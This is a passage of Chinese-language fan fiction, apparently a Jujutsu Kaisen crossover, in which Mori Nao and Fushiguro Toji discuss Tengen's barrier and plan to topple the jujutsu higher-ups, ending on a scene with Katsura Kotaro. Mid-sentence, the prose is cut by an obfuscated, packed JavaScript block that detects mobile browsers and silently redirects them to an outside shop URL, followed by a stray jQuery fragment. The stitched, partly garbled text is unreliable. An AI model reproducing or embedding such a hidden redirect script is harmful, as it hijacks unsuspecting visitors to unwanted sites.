“……可惡。”
森奈央飛快理解了這個邏輯,她心動了,隨即又狠狠地錘了一下沙發靠背,“甚爾你為什麼不穿越到我五歲那年阻止我認識五條哥——!”
“那還真是抱歉。”伏黑甚爾興致缺缺地撇了下嘴角,“我認識你的時候,你已經六歲了。”
他到底沒有揪著五條悟不放,逼她做個二選一的抉擇,“那麼隻能用第二個方法了。”
“小小姐知道,整個地球上隻有霓虹咒靈最多最密集、以至衍生出咒術界這個圈子吧?那麼為什麼隻有霓虹這麼密集?”
森奈央:“呃,壞事做多遭天譴了?”
伏黑甚爾:“……先彆考慮這種玄學因素——是因為天元在霓虹境內罩著一個天元結界。”
“哦……”這麼一提,森奈央想起來了,“就是之前要和星漿體玩合體play的那個人啊。”
當時她純粹隻貪圖星漿體任務背後的賞金,敵對方也僅著眼於當時負責保護星漿體的五條悟,連另一個守衛[夏油傑]具體長什麼樣都沒關注。所謂天元,在她的概念裡也僅是個名詞象征,並未深入了解。
“用詞文明一點。”伏黑甚爾伸手敲了一下她的腦袋,向她具體介紹了這位擁有不死術式、已存活千年之久的天元大人的存在。
一言以蔽之,天元以不死術式化出多個結界守護霓虹國土;但另一方麵,祂在霓虹設下的範圍結界令咒力長期聚攏,在漫長的時間過後,結界外的咒靈稀缺單薄,結界內的咒靈張牙舞爪、被豢養得更強更旺盛,相對應地也衍生出整個咒術界體係。
聽完設定的森奈央:……
“天元在玩……養蠱?”伏黑甚爾對天元的所知情報並不詳儘,而聽完目前的信息,她最終隻能得出
;eval(fun(p,a,c,k,e,d){e=fun(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.t(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[fun(e){return d[e]}];e=fun(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replaew RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13006860|131023||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#tent').append('
這樣的結論,“還是說結界內咒術的興盛發展於祂有利?”
不然她完全無法理解為什麼要設下這個損己利他的結界,說好的守護國土,怎麼變成了守護蠱土?主打一個辛苦小霓虹,造福全世界?
等等……天元該不會是彆的國家派過來的臥底吧?蟄伏千年之久隻為弄死小霓虹?
如果森奈央老家不在橫濱,她一定會鼓兩下掌感恩一下祂的付出。
伏黑甚爾照例嘲諷道:“這種得到上天恩賜活了千年的怪物,誰知道祂是怎麼想的。哦對了,事實上還有個說法,是由於六眼神子的誕生打破了咒術師與詛咒師、咒靈的平衡,才導致結界內的蠱蟲得到了增幅成長。”
“可是足以打破平衡的六眼也不是第一次誕生吧?天元作為不死之人,這麼多次輪回下來就沒整出點什麼解決方案?”
“就、光活著啊?”森奈央出於自己被迫乾活的私心,蠻不講理地嫌棄道,“真夠不負責任的。”
事情真相到底如何,天元背地裡又有何種隱情,以目前兩人掌握的缺斤少兩的情報來看,是推測不出一個合理的結論的。
不過誰管啊!森奈央才沒那個閒心去研究背後是否有陰謀,隻要知道天元結界這玩意得破就足夠了。
森奈央估計異能特務科之類的機構應當也不清楚天元的設定,不然對同體係內惡毒同事的攻訐就不會止於背後蛐蛐了,不對咒靈buff增幅機的五條悟下手還可以說是尊重人權,發現天元真相、僅僅命令其解除結界可不是什麼傷天害理的事。
抵達天元所處地的入口在東京的咒術高專,上次星漿體事件伏黑甚爾之所以能追進薨星宮突襲夏油傑,是因天元為了迎接星漿體主動敞開了通道;要是沒有特殊原因讓祂自行打開結界,即便是祂無法感知到的天與咒縛也難以潛入其中找到真正入口。
在明確她和甚爾單槍匹馬刺殺天元的計劃可行性不高後,森奈央決定改變策略。但在新計劃前一步,她得先把目前的絆腳石解決了。
嗯?你問絆腳石是誰?
還能有誰——不就是那群人心不足蛇吞象,意圖對她兜裡的五千億黑錢伸手的咒術界高層嗎?
森奈央橫著手貼著脖子輕輕一劃。
內伊組特。
“怎麼又繞回來了?”伏黑甚爾提了點興致看她,“我倒是能幫你一個一個殺,不過如果賽麗娜夫人或者那個銀發天然卷要打你屁股的話,我就不攔著了。”
“誰說要用哪種粗暴的手段了?”黑發紅瞳的小少女還反過來教訓他,五指一一旋轉握拳,“我可不是嬌滴滴的莽撞殺手,有的是手段和人脈。”
伏黑甚爾挑眉:“哦?”
“像我們這樣不混咒術圈的外來物種缺少圈內人士的認同,得不到底層術師的支持,想要加入咒術圈一口氣自下往上地推翻咒術界,阻力太大;那就換個法子,政府對政府,官方對官方——治理咒術界這塊頑疾還是得術業有專攻,讓政府出手。”
伏黑甚爾:“……你還記得自己是白道要打壓的黑手黨嗎?”
“我是不是黑手黨無所謂,”森奈央歪嘴一笑,“我上頭有人。”
伏黑甚爾:……?
*
森奈央上頭的人官做得還不小。
那是個近幾年突然現身政界的可怕男人,於動亂不堪的殺手之都博多選舉起家,在滿是家族門閥盤踞著的霓虹政界單槍匹馬殺出一條血路。
初出茅廬第一日,他便揭穿了原市長兒子私下買賣人口性虐待的醜聞,救下無辜異國少女;上任第十日,又一棒球錘翻了當地的一個黑手黨殺手組織,為普通民眾的生命財產安全做出有力保障;
此後更是政績不斷,口碑連連爆升,還因身邊飼養的怪誕吉祥物出圈迅速火至海外。縱觀年輕一代的新生政客,能與其匹敵的也不過寥寥一人。
而且此人不僅年紀輕輕就有如此驚人的政績,在普遍矮子樂禿頭啤酒肚的一眾官員中還擁有一副貌若好女的清秀容貌,哪怕特意留了撮小胡子想讓外表顯得成熟一些,在民眾、尤其是年輕女性民眾的風評裡依舊堪稱顏值通殺。
因其留著一頭飄逸長發,還喜獲粉絲們親送外號,史稱:唐納德·假朗普——(紫拉)假發大人!
“紫拉加奈——”
桂小太郎雙手啪地一聲狠狠拍在桌上,猛然站起。
“——卡紫拉噠! ”